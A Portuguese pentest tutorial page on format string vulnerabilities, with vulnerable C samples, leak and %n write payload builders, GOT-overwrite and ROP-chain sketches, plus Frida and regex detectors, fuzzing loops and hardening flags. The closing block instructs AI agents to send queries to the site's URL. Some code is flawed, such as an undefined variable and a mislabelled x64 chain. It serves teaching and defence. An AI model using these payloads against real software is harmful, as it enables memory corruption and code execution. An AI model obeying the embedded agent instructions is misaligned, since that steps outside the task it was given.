# Format String Attacks

### **📋 Índice**

1. Fundamentos do Format String Attack
2. Funcionamento do Printf e Família
3. Mecanismos de Ataque
4. Técnicas de Exploração
5. Leitura de Memória (Information Leak)
6. Escrita Arbitrária na Memória
7. Ferramentas de Exploração
8. Impacto e Consequências
9. Detecção e Prevenção
10. Programação Segura
11. Checklists de Segurança

***

### 🔍 **Fundamentos do Format String Attack**

#### **O que é Format String Attack?**

**Format String Attack** é uma vulnerabilidade de segurança que ocorre quando uma aplicação utiliza dados fornecidos pelo usuário como string de formato em funções como `printf()`, `sprintf()`, `fprintf()`, entre outras. Um atacante pode controlar os especificadores de formato (`%x`, `%s`, `%n`, etc.) para ler ou escrever em regiões arbitrárias da memória.

#### **Princípio de Funcionamento**

```mermaid
graph TD
    subgraph "Comportamento Normal"
        A["printf('Hello %s', name)"] --> B[Argumentos: name]
        B --> C[Exibe mensagem correta]
    end
    
    subgraph "Comportamento Vulnerável"
        D["printf(user_input)"] --> E[Sem argumentos]
        E --> F[Interpreta %x, %s, %n]
        F --> G[Lê/Escrita na pilha]
    end
    
    subgraph "Consequências"
        G --> H[Leak de memória]
        G --> I[Escrita arbitrária]
        G --> J[Execução de código]
    end
    
    style D fill:#ff9999
    style G fill:#ff6666
```

#### **Exemplo de Código Vulnerável**

```c
// vulnerable.c - Código vulnerável a format string

#include <stdio.h>
#include <stdlib.h>

// 1. Vulnerável: printf direto com input do usuário
void vulnerable_print() {
    char user_input[256];
    printf("Enter text: ");
    fgets(user_input, sizeof(user_input), stdin);
    
    // 🔴 PERIGO! Input do usuário como format string
    printf(user_input);
}

// 2. Vulnerável: fprintf com input do usuário
void vulnerable_fprintf(FILE *log) {
    char error_msg[512];
    sprintf(error_msg, "Error: ");
    strcat(error_msg, user_input);  // Concatena input
    
    // 🔴 PERIGO!
    fprintf(log, error_msg);
}

// 3. Vulnerável: snprintf com input do usuário
void vulnerable_snprintf() {
    char buffer[1024];
    char user_data[256];
    
    // 🔴 PERIGO!
    snprintf(buffer, sizeof(buffer), user_data);
}

// 4. Correto: usar "%s"
void safe_print() {
    char user_input[256];
    printf("Enter text: ");
    fgets(user_input, sizeof(user_input), stdin);
    
    // ✅ Correto
    printf("%s", user_input);
}
```

***

### 📚 **Funcionamento do Printf e Família**

#### **Especificadores de Formato**

```python
#!/usr/bin/env python3
# format_specifiers.py - Especificadores de formato

class FormatSpecifiers:
    """Análise dos especificadores de formato"""
    
    @staticmethod
    def common_specifiers():
        """Especificadores comuns"""
        print("📋 Especificadores de Formato")
        print("=" * 60)
        
        specifiers = {
            "%d": "Inteiro decimal (int)",
            "%u": "Inteiro sem sinal (unsigned int)",
            "%x": "Hexadecimal (lowercase)",
            "%X": "Hexadecimal (uppercase)",
            "%p": "Ponteiro (endereço)",
            "%s": "String (null-terminated)",
            "%c": "Caractere",
            "%f": "Float/Double",
            "%n": "Número de caracteres escritos até agora",
            "%%": "Caractere '%' literal"
        }
        
        for spec, desc in specifiers.items():
            print(f"   {spec:4}: {desc}")
    
    @staticmethod
    def length_modifiers():
        """Modificadores de tamanho"""
        print("\n📏 Modificadores de Tamanho")
        print("=" * 60)
        
        modifiers = {
            "hh": "char",
            "h": "short",
            "l": "long",
            "ll": "long long",
            "z": "size_t",
            "t": "ptrdiff_t"
        }
        
        for mod, desc in modifiers.items():
            print(f"   {mod}: {desc}")
    
    @staticmethod
    def stack_behavior():
        """Comportamento na pilha"""
        print("\n🥞 Comportamento na Pilha")
        print("=" * 60)
        
        print("""
Quando printf() é chamada:
  1. Argumentos são empilhados da direita para esquerda
  2. Format string é o primeiro argumento
  3. Cada especificador de formato consome um argumento da pilha
  4. Sem argumentos suficientes, lê lixo da pilha

Exemplo:
  printf("%x %x %x", a, b);
  
  Pilha (crescimento para baixo):
  +-----------------+
  | endereço string | <- format string
  +-----------------+
  | valor de a      | <- primeiro %x
  +-----------------+
  | valor de b      | <- segundo %x
  +-----------------+
  | ...             |
  +-----------------+

Se chamarmos printf("%x %x %x %x") sem argumentos:
  Pega valores da pilha acima da format string
""")

# Executar
FormatSpecifiers.common_specifiers()
FormatSpecifiers.length_modifiers()
FormatSpecifiers.stack_behavior()
```

#### **Pilha e Argumentos**

```c
// stack_printf.c - Comportamento da pilha em printf

#include <stdio.h>

void demonstrate_stack() {
    int a = 0x41414141;
    int b = 0x42424242;
    int c = 0x43434343;
    
    // Normal: 3 argumentos
    printf("a=%x, b=%x, c=%x\n", a, b, c);
    
    // Vulnerável: sem argumentos suficientes
    printf("%x %x %x %x %x %x\n");
    // Vai ler valores da pilha (valores de a, b, c, etc.)
    
    // Vulnerável: argumentos demais
    printf("%x\n", a, b, c);  // b e c são ignorados
}

int main() {
    demonstrate_stack();
    return 0;
}
```

***

### ⚔️ **Mecanismos de Ataque**

#### **Fluxo do Ataque**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant P as Programa Vulnerável
    participant M as Memória

    A->>P: Envia format string maliciosa
    P->>P: printf(user_input)
    
    Note over P,M: 1. Leitura de memória
    P->>M: Lê valores da pilha
    M-->>P: Retorna dados
    P-->>A: Exibe dados sensíveis
    
    Note over P,M: 2. Escrita arbitrária
    A->>P: Envia %n format string
    P->>M: Escreve na pilha
    M-->>P: Corrompe ponteiros
    
    Note over P: 3. Execução de código
    P->>P: Redireciona fluxo
    P-->>A: Executa código arbitrário
```

#### **Vetores de Ataque**

```yaml
Vetores Comuns:

  🔴 Leitura de Pilha (Stack Reading):
    - %x, %p: Leitura de valores da pilha
    - %s: Leitura de strings (pode causar crash)
    - %d, %u: Leitura de inteiros

  🔴 Leitura de Heap:
    - %s com ponteiros para heap
    - Vazamento de dados sensíveis

  🔴 Escrita Arbitrária (Arbitrary Write):
    - %n: Escreve número de caracteres
    - %hn: Escreve short (2 bytes)
    - %hhn: Escreve char (1 byte)

  🔴 Bypass de Proteções:
    - Bypass de ASLR via leak
    - Bypass de DEP via ROP
    - Bypass de stack canary via overwrite

  🔴 Denial of Service:
    - %s com ponteiro inválido (crash)
    - %n com ponteiro inválido
    - Loops infinitos
```

***

### 🔧 **Técnicas de Exploração**

#### **Técnica 1: Leitura de Pilha**

```python
#!/usr/bin/env python3
# format_string_leak.py - Leitura de pilha via format string

import subprocess
import sys

class FormatStringLeak:
    """Leitura de memória via format string"""
    
    @staticmethod
    def leak_stack(target_binary, payload):
        """Vazar valores da pilha"""
        print(f"[*] Executando format string leak")
        
        # Executar binário vulnerável com payload
        cmd = [target_binary, payload]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=5)
            print(f"   Output: {result.stdout[:200]}")
            
            # Extrair valores hex
            import re
            hex_values = re.findall(r'[0-9a-f]{8}', result.stdout)
            print(f"   Hex values found: {len(hex_values)}")
            
            return hex_values
        except Exception as e:
            print(f"   Erro: {e}")
            return []
    
    @staticmethod
    def leak_payloads():
        """Payloads para leak de memória"""
        print("\n[*] Payloads para leak de memória:")
        
        payloads = [
            # Leitura simples
            "%p" * 10,
            "%x " * 20,
            "%08x " * 15,
            
            # Leitura com deslocamento
            "%1$p %2$p %3$p",
            "%4$p %5$p %6$p",
            "%7$p %8$p %9$p",
            
            # Leitura de strings
            "%s %s %s",
            "%3$s %4$s",
            
            # Leitura mista
            "Address: %p | Value: %d | String: %s"
        ]
        
        for payload in payloads:
            print(f"   • {payload}")
    
    @staticmethod
    def find_offset(binary):
        """Encontrar offset do primeiro argumento na pilha"""
        print("[*] Encontrando offset dos argumentos")
        
        # Payload para encontrar offset
        for i in range(1, 20):
            payload = f"AAAA.%{i}$p"
            print(f"   Testando offset {i}: {payload}")
            
            # Em um exploit real, executaria e analisaria saída
            # Se encontrar "AAAA.0x41414141", offset é i
    
    @staticmethod
    def leak_canary(binary):
        """Vazar stack canary via format string"""
        print("\n[*] Tentando vazar stack canary")
        
        # Stack canary geralmente está após alguns argumentos
        # payload = "%7$08x" (exemplo)
        pass

# Uso
if __name__ == "__main__":
    print("📝 Format String Leak")
    print("=" * 60)
    
    FormatStringLeak.leak_payloads()
    FormatStringLeak.find_offset("./vulnerable")
```

#### **Técnica 2: Escrita Arbitrária com %n**

```python
#!/usr/bin/env python3
# arbitrary_write.py - Escrita arbitrária via %n

import struct
import sys

class ArbitraryWrite:
    """Escrita arbitrária usando %n"""
    
    @staticmethod
    def create_write_payload(address, value, offset):
        """Criar payload para escrever na memória"""
        print(f"[*] Criando payload para escrever em 0x{address:08x} = {value}")
        
        # Dividir endereço em bytes (little-endian)
        addr_bytes = struct.pack('<I', address)
        
        # Calcular quantos bytes escrever
        # %n escreve o número de caracteres escritos até agora
        
        # Estratégia: escrever 4 bytes separadamente
        # Usar %hn para 2 bytes ou %hhn para 1 byte
        
        # Para escrever um valor de 4 bytes
        write_4bytes = addr_bytes + f"%{value}x%{offset}$n".encode()
        
        return write_4bytes
    
    @staticmethod
    def create_write_4bytes(address, value, offset):
        """Escrever 4 bytes em um endereço"""
        # Dividir em dois writes de 2 bytes (mais estável)
        high = (value >> 16) & 0xFFFF
        low = value & 0xFFFF
        
        addr_high = address + 2
        addr_low = address
        
        payload = struct.pack('<I', addr_low)
        payload += struct.pack('<I', addr_high)
        payload += f"%{low}x%{offset}$hn".encode()
        payload += f"%{high - low}x%{offset+1}$hn".encode()
        
        return payload
    
    @staticmethod
    def got_overwrite(target_binary, function_name, new_address):
        """Sobrescrever GOT entry"""
        print(f"[*] Sobrescrevendo {function_name} GOT entry")
        
        # Em um exploit real, encontraria o endereço GOT
        got_address = 0x0804c000  # Exemplo
        payload = ArbitraryWrite.create_write_4bytes(got_address, new_address, 7)
        
        return payload
    
    @staticmethod
    def ret2libc_payload():
        """Payload para redirecionar fluxo para libc"""
        # Encontrar endereço system() na libc
        # system_addr = libc_base + system_offset
        # binsh_addr = libc_base + binsh_offset
        
        print("\n[*] Criando payload para ret2libc")
        
        # Exemplo: system("/bin/sh")
        # payload = fmt_str + address_of_system + address_of_binsh
        
        pass

# Uso
if __name__ == "__main__":
    print("📝 Arbitrary Write via %n")
    print("=" * 60)
    
    # Escrever 0xdeadbeef no endereço 0x0804c000
    payload = ArbitraryWrite.create_write_4bytes(0x0804c000, 0xdeadbeef, 7)
    print(f"Payload size: {len(payload)} bytes")
```

#### **Técnica 3: Bypass de ASLR**

```python
#!/usr/bin/env python3
# aslr_bypass.py - Bypass de ASLR via format string

import subprocess
import re

class ASLRBypass:
    """Bypass de ASLR usando format string leak"""
    
    @staticmethod
    def leak_libc_address(binary):
        """Vazar endereço da libc"""
        print("[*] Tentando vazar endereço da libc")
        
        # Payload para leak de endereço de função da libc
        # printf@plt pode chamar printf@got
        # Se vazar printf@got, podemos calcular libc base
        
        # payload = "%7$p" (exemplo)
        
        pass
    
    @staticmethod
    def calculate_libc_base(leaked_address, function_offset):
        """Calcular base da libc a partir de endereço vazado"""
        print(f"[*] Leaked address: 0x{leaked_address:08x}")
        print(f"[*] Function offset: 0x{function_offset:08x}")
        
        libc_base = leaked_address - function_offset
        print(f"[*] Libc base: 0x{libc_base:08x}")
        
        return libc_base
    
    @staticmethod
    def leak_heap_address(binary):
        """Vazar endereço do heap"""
        print("[*] Tentando vazar endereço do heap")
        
        # payload = "%p" (exemplo)
        
        pass
    
    @staticmethod
    def leak_stack_address(binary):
        """Vazar endereço da pilha"""
        print("[*] Tentando vazar endereço da pilha")
        
        # payload = "%p" (exemplo)
        
        pass

# Uso
if __name__ == "__main__":
    print("📝 ASLR Bypass via Format String")
    print("=" * 60)
    
    # Exemplo de cálculo
    leaked = 0xf7e45670
    offset = 0x45670  # offset de printf na libc
    ASLRBypass.calculate_libc_base(leaked, offset)
```

#### **Técnica 4: Bypass de DEP com ROP**

```python
#!/usr/bin/env python3
# rop_chain.py - ROP chain via format string

import struct

class ROPChain:
    """Construção de ROP chain para bypass de DEP"""
    
    @staticmethod
    def find_gadgets(binary):
        """Encontrar gadgets ROP no binário"""
        print("[*] Procurando gadgets ROP")
        
        # Gadgets comuns (endereços são exemplos)
        gadgets = {
            "pop_rdi": 0x0000000000401234,  # pop rdi ; ret
            "pop_rsi": 0x0000000000401236,  # pop rsi ; ret
            "pop_rdx": 0x0000000000401238,  # pop rdx ; ret
            "pop_rax": 0x000000000040123a,  # pop rax ; ret
            "syscall": 0x000000000040123c,  # syscall
            "ret": 0x000000000040123e       # ret
        }
        
        return gadgets
    
    @staticmethod
    def create_rop_chain(libc_base, binsh_offset, system_offset):
        """Criar ROP chain para execve("/bin/sh", NULL, NULL)"""
        print("[*] Criando ROP chain")
        
        system_addr = libc_base + system_offset
        binsh_addr = libc_base + binsh_offset
        
        # ROP chain para x64
        rop_chain = [
            binsh_addr,   # argumento para system
            system_addr   # endereço de system
        ]
        
        # ROP chain para x86
        # rop_chain = [system_addr, 0xdeadbeef, binsh_addr]
        
        rop_bytes = b""
        for addr in rop_chain:
            rop_bytes += struct.pack('<Q', addr)
        
        return rop_bytes
    
    @staticmethod
    def write_rop_with_format_string(rop_bytes, target_address, offset):
        """Escrever ROP chain via format string"""
        print("[*] Escrevendo ROP chain com format string")
        
        # Escrever ROP chain byte a byte
        payload = b""
        for i, byte in enumerate(rop_bytes):
            address = target_address + i
            payload += struct.pack('<I', address)
            payload += f"%{byte}x%{offset + i}$hhn".encode()
        
        return payload

# Uso
if __name__ == "__main__":
    print("📝 ROP Chain Construction")
    print("=" * 60)
    
    ROPChain.find_gadgets("./vulnerable")
    
    # Exemplo
    libc_base = 0xf7d80000
    system_offset = 0x3a940
    binsh_offset = 0x15c8b0
    
    rop = ROPChain.create_rop_chain(libc_base, binsh_offset, system_offset)
    print(f"ROP chain size: {len(rop)} bytes")
```

#### **Técnica 5: Frida Script para Format String**

```javascript
// frida_format_string.js - Detecção de format string com Frida

Interceptor.attach(Module.findExportByName(null, "printf"), {
    onEnter: function(args) {
        var format = args[0];
        var format_str = format.readCString();
        
        console.log("[printf] Format string: " + format_str);
        
        // Detectar especificadores perigosos
        var dangerous = ["%n", "%s", "%p", "%x"];
        for (var i = 0; i < dangerous.length; i++) {
            if (format_str.indexOf(dangerous[i]) !== -1) {
                console.log("[!] Dangerous format specifier: " + dangerous[i]);
                
                // Log do backtrace
                var bt = Thread.backtrace(this.context, Backtracer.ACCURATE);
                console.log("Backtrace:");
                for (var j = 0; j < bt.length; j++) {
                    var sym = DebugSymbol.fromAddress(bt[j]);
                    console.log("    " + sym);
                }
            }
        }
        
        // Verificar se format string está na pilha
        var sp = this.context.sp;
        var stack_args = [];
        for (var i = 0; i < 10; i++) {
            var arg_ptr = sp.add(i * 8).readPointer();
            stack_args.push(arg_ptr);
        }
        
        // Verificar se format string está em região da pilha
        var format_ptr = ptr(format);
        for (var i = 0; i < stack_args.length; i++) {
            if (stack_args[i].equals(format_ptr)) {
                console.log("[!] Format string is on stack (argument " + i + ")");
                console.log("    Potential format string vulnerability!");
            }
        }
        
        // Contar especificadores
        var specifiers = format_str.match(/%[0-9$]*[a-zA-Z]/g);
        if (specifiers) {
            var expected_args = specifiers.length;
            var actual_args = this.args.length - 1; // excluindo format string
            
            if (actual_args < expected_args) {
                console.log("[!] Insufficient arguments: expected " + expected_args + 
                           ", got " + actual_args);
            }
        }
    }
});

// Hook outras funções vulneráveis
var vulnerable_functions = [
    "sprintf", "snprintf", "fprintf", "vprintf", "vsnprintf"
];

for (var i = 0; i < vulnerable_functions.length; i++) {
    var func = Module.findExportByName(null, vulnerable_functions[i]);
    if (func) {
        Interceptor.attach(func, {
            onEnter: function(args) {
                var format = args[1];
                var format_str = format.readCString();
                console.log("[" + vulnerable_functions[i] + "] " + format_str);
            }
        });
    }
}

console.log("[*] Format string detection hooks installed");
```

***

### 🔍 **Detecção e Prevenção**

#### **Ferramentas de Detecção**

```bash
#!/bin/bash
# detect_format_string.sh - Detector de format string

# 1. Buscar padrões perigosos no código
echo "[*] Buscando padrões perigosos no código"
grep -rn "printf([^%]*%[^%]*[a-zA-Z]" --include="*.c" --include="*.cpp"
grep -rn "sprintf([^%]*%[^%]*[a-zA-Z]" --include="*.c" --include="*.cpp"
grep -rn "fprintf([^%]*%[^%]*[a-zA-Z]" --include="*.c" --include="*.cpp"

# 2. Usar GCC/Clang com flags de segurança
echo "\n[*] Compilando com proteções"
gcc -Wall -Wformat -Wformat-security -Werror=format-security -o safe safe.c

# 3. Usar Fortify Source
gcc -D_FORTIFY_SOURCE=2 -O2 -o safe safe.c

# 4. Usar AddressSanitizer para detectar format string
gcc -fsanitize=address -g -o vulnerable vulnerable.c

# 5. Usar Checksec para verificar proteções
echo "\n[*] Verificando proteções do binário"
checksec ./vulnerable

# 6. Fuzzing para format string
echo "\n[*] Fuzzing com format strings"
for payload in "%p" "%x" "%s" "%n" "%08x" "%p%p%p" "%1\$p" "%2\$p"; do
    echo "Testing: $payload"
    ./vulnerable "$payload"
done
```

#### **Script de Detecção Automatizado**

```python
#!/usr/bin/env python3
# detect_format_string.py - Detector de format string

import subprocess
import re
import sys

class FormatStringDetector:
    """Detector de vulnerabilidades de format string"""
    
    @staticmethod
    def scan_source_code(directory):
        """Escaneamento de código fonte"""
        print("[*] Escaneando código fonte")
        
        patterns = [
            (r'printf\s*\([^"]*%[^%]*[a-zA-Z][^"]*\)', "printf com variável"),
            (r'sprintf\s*\([^,]+,[^"]*%[^%]*[a-zA-Z][^"]*\)', "sprintf com variável"),
            (r'fprintf\s*\([^,]+,[^"]*%[^%]*[a-zA-Z][^"]*\)', "fprintf com variável"),
            (r'snprintf\s*\([^,]+,[^,]+,[^"]*%[^%]*[a-zA-Z][^"]*\)', "snprintf com variável"),
            (r'vprintf\s*\([^"]*%[^%]*[a-zA-Z][^"]*', "vprintf com variável")
        ]
        
        import os
        findings = []
        
        for root, dirs, files in os.walk(directory):
            for file in files:
                if file.endswith(('.c', '.cpp', '.h')):
                    filepath = os.path.join(root, file)
                    with open(filepath, 'r') as f:
                        content = f.read()
                        for pattern, desc in patterns:
                            matches = re.findall(pattern, content)
                            if matches:
                                findings.append({
                                    'file': filepath,
                                    'pattern': desc,
                                    'count': len(matches)
                                })
        
        if findings:
            print(f"   Encontradas {len(findings)} ocorrências suspeitas:")
            for f in findings[:10]:
                print(f"      {f['file']}: {f['pattern']} ({f['count']})")
        else:
            print("   Nenhum padrão suspeito encontrado")
        
        return findings
    
    @staticmethod
    def check_binary_protections(binary):
        """Verificar proteções do binário"""
        print(f"\n[*] Verificando proteções de {binary}")
        
        cmd = ['checksec', '--file=' + binary]
        try:
            result = subprocess.run(cmd, capture_output=True, text=True)
            print(result.stdout)
        except:
            print("   Checksec não disponível")
    
    @staticmethod
    def fuzz_format_string(binary):
        """Fuzzing para encontrar format string"""
        print(f"\n[*] Fuzzing {binary}")
        
        payloads = [
            "%p", "%x", "%s", "%n",
            "%p%p%p%p%p%p%p",
            "%x %x %x %x %x %x %x",
            "%1$p %2$p %3$p %4$p",
            "AAAA.%p.%p.%p.%p",
            "%s%s%s%s",
            "%n%n%n%n"
        ]
        
        for payload in payloads:
            try:
                result = subprocess.run([binary, payload], 
                                      capture_output=True, text=True, timeout=2)
                
                # Verificar se há indicação de format string
                if 'AAAA' in result.stdout or '0x' in result.stdout:
                    print(f"   ⚠️ Potencial vulnerável: {payload}")
                    print(f"      Output: {result.stdout[:100]}")
            except:
                pass

# Uso
if __name__ == "__main__":
    print("🔍 Format String Detection")
    print("=" * 60)
    
    if len(sys.argv) > 1:
        if sys.argv[1].endswith('.c'):
            FormatStringDetector.scan_source_code('.')
        else:
            FormatStringDetector.check_binary_protections(sys.argv[1])
            FormatStringDetector.fuzz_format_string(sys.argv[1])
    else:
        print("Uso: detect_format_string.py <binary|c_source>")
```

***

### 🛡️ **Mitigações e Prevenção**

#### **Proteções do Compilador**

```c
// safe_format_string.c - Práticas seguras

#include <stdio.h>
#include <stdarg.h>

// 1. Sempre usar "%s" para strings do usuário
void safe_print(char *user_input) {
    // ✅ Correto
    printf("%s", user_input);
}

// 2. Usar puts() para strings simples
void safe_puts(char *user_input) {
    // ✅ puts() não interpreta format string
    puts(user_input);
}

// 3. Função segura para logging
void safe_log(const char *format, ...) {
    // ✅ Usar vprintf com formato fixo
    va_list args;
    va_start(args, format);
    vprintf(format, args);
    va_end(args);
}

// 4. Função segura com comprimento máximo
void safe_print_n(char *user_input, size_t max_len) {
    // ✅ Limitar tamanho e usar "%s"
    char buffer[1024];
    snprintf(buffer, sizeof(buffer), "%.*s", (int)max_len, user_input);
    printf("%s", buffer);
}

// 5. Verificação estática
#ifdef __GNUC__
__attribute__((format(printf, 1, 2)))
#endif
void safe_printf(const char *format, ...) {
    // GCC verifica format string em tempo de compilação
    va_list args;
    va_start(args, format);
    vprintf(format, args);
    va_end(args);
}
```

#### **Proteções do Sistema**

```yaml
Proteções do Sistema:

  ✅ FORTIFY_SOURCE:
    - Adiciona verificações em tempo de execução
    - Detecta format strings perigosas
    - Níveis: 1 (básico), 2 (agressivo)

  ✅ Stack Canary:
    - Protege contra overflow de pilha
    - Não previne format string diretamente

  ✅ ASLR:
    - Randomização de endereços
    - Dificulta escrita arbitrária

  ✅ RELRO (Relocation Read-Only):
    - Protege GOT
    - Full RELRO torna GOT imutável

  ✅ Position Independent Executable (PIE):
    - Randomização do binário
    - Dificulta ROP
```

#### **Compilação Segura**

```bash
#!/bin/bash
# secure_compile.sh - Compilação segura

# 1. Flags básicas de segurança
gcc -D_FORTIFY_SOURCE=2 -O2 \
    -Wformat -Wformat-security \
    -Werror=format-security \
    -fstack-protector-strong \
    -fPIE -pie \
    -Wl,-z,relro,-z,now \
    -o safe safe.c

# 2. Com AddressSanitizer (debug)
gcc -fsanitize=address \
    -fsanitize=undefined \
    -g -O0 \
    -o debug debug.c

# 3. Verificar proteções
checksec --file=safe

# 4. Testar com format strings
./safe "%p %p %p %p"
./safe "%s%s%s%s"
./safe "%n"
```

***

### 📋 **Checklists de Segurança**

#### **Checklist para Desenvolvedores**

* [ ] Nunca usar input do usuário como format string
* [ ] Sempre usar `printf("%s", user_input)` em vez de `printf(user_input)`
* [ ] Usar `puts()` para strings simples
* [ ] Habilitar `-Wformat -Wformat-security` no compilador
* [ ] Usar `-D_FORTIFY_SOURCE=2` para verificações em runtime
* [ ] Validar entradas do usuário
* [ ] Limitar tamanho de strings

#### **Checklist para Pentesters**

* [ ] Identificar funções de printf vulneráveis
* [ ] Testar payloads com %p, %x, %s, %n
* [ ] Encontrar offset dos argumentos na pilha
* [ ] Tentar vazar informações de memória
* [ ] Tentar escrita arbitrária via %n
* [ ] Verificar proteções do binário (checksec)

***

### 📊 **Conclusão**

```yaml
Format String Attacks:

  🔴 Principais Vetores:
    - Leitura de pilha (%x, %p)
    - Leitura de strings (%s)
    - Escrita arbitrária (%n)
    - Bypass de proteções

  🛡️ Mitigações Essenciais:
    - Usar printf("%s", user_input)
    - Habilitar FORTIFY_SOURCE
    - Compilar com -Wformat-security
    - Usar puts() para strings simples
    - Validação de entrada

  🎯 Prioridade:
    - CRÍTICA: Funções de logging
    - ALTA: Aplicações web/CGI
    - MÉDIA: Ferramentas CLI
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/linguagens-de-programacao/format-string-attacks.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
